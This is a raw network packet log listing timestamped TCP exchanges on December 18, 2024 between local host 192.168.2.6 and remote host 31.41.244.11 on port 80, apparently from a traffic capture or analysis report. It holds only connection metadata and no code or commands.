Dec 18, 2024 11:09:30.073441982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.073482037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.073641062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.073678970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.073765993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.073802948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.074649096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.074687004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.074765921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.074803114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.075622082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.075665951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.075710058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.075743914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.076587915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.076627970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.076699972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.076738119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.077903986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.077948093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.077994108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.078031063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.078576088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.078613043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.078685045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.078721046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.079627991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.079669952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.079751968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.079790115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.080581903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.080620050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.080749989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.080787897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.081563950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.081603050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.081674099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.081713915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.082567930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.082611084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.082624912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.082662106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.083519936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.083559990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.083636045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.083673000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.084461927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.084501982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.084572077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.084609985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.085491896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.085551023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.085558891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.085597038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.086425066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.086467028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.086529016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.086566925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.087433100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.087479115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.087562084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.087596893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.088407040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.088452101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.088522911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.088562012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.089462042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.089500904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.089580059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.089617968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.090370893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.090411901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.090527058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.090568066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.091384888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.091423988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.091471910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.091507912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.092370987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.092384100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.092410088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.092427969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.093291998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.093332052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.093411922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.093449116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.094289064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.094326973 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.094432116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.094466925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.095269918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.095320940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.095362902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.095397949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.096237898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.096281052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.096324921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.096364021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.097522020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.097559929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.097644091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.097678900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.098346949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.098367929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.098387003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.098416090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.099229097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.099268913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.099309921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.099354982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.100217104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.100256920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.100305080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.100341082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.101169109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.101208925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.101305962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.101344109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.102160931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.102200031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.102236986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.102273941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.103123903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.103174925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.103214025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.103254080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.104146004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.104168892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.104188919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.104209900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.105153084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.105194092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.105237961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.105274916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.106081009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.106122971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.106170893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.106209993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.107187033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.107232094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.107325077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.107359886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.108038902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.108083010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.108218908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.108258009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.109011889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.109051943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.109114885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.109153032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.109999895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.110042095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.110155106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.110193014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.111040115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.111080885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.111104965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.111144066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.247175932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.247220993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.247324944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.247513056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.247761965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.247812986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.247828007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.247869015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.248723984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.248866081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.248908997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.249739885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.249834061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.249881029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.250709057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.250767946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.250864029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.251698971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.251717091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.251863956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.252676964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.252733946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.252774954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.253642082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.253690004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.253724098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.254595041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.254648924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.254700899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.254743099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.255589962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.255697012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.255742073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.256608009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.256716013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.256762981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.257602930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.257652998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.257703066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.258547068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.258598089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.258657932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.259478092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.259536028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.264533043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.264571905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.264632940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.264930010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.264974117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.265024900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.265933990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.265983105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.266016006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.266887903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.266969919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.267016888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.267951012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.268002987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.268106937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.268884897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.268934011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.268965006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.269000053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.269849062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.269949913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.269990921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.270863056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.270987988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.271033049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.271801949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.271841049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.271883011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.272821903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.272872925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.273013115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.273049116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.273792982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.273880005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.273940086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.274821997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.275124073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.275166035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.275768042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.275810003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.275851965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.276715994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.276753902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.276817083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.277507067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.277707100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.277849913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.277888060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.278664112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.278767109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.278809071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.279892921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.279932022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.279942036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.280677080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.280729055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.280747890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.281817913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.281846046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.281867981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.281886101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.282612085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.282759905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.282808065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.283627033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.283721924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.283770084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.284629107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.284655094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.284714937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.285568953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.285718918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.285765886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.286581993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.286796093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.286844969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.287538052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.287594080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.287640095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.288511992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.288538933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.288558960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.288588047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.289514065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.289540052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.289585114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.290580034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.290625095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.290657043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.290755987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.291454077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.291565895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.291608095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.292423010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.292561054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.292599916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.293446064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.293490887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.293541908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.294389963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.294437885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.294517994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.295360088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.295454979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.295500994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.296361923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.296411991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.296516895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.296561956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.297368050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.297461033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.297502995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.298325062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.298496008 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.298541069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.299357891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.299444914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.299494982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.300271034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.300316095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.300374985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.301259995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.301301956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.301345110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.301562071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.302321911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.302431107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.302476883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.438396931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.438476086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.438596010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.438647985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.438813925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.438867092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.438880920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.438924074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.439580917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.439632893 CET	49912	80	192.168.2.6	31.41.244.11
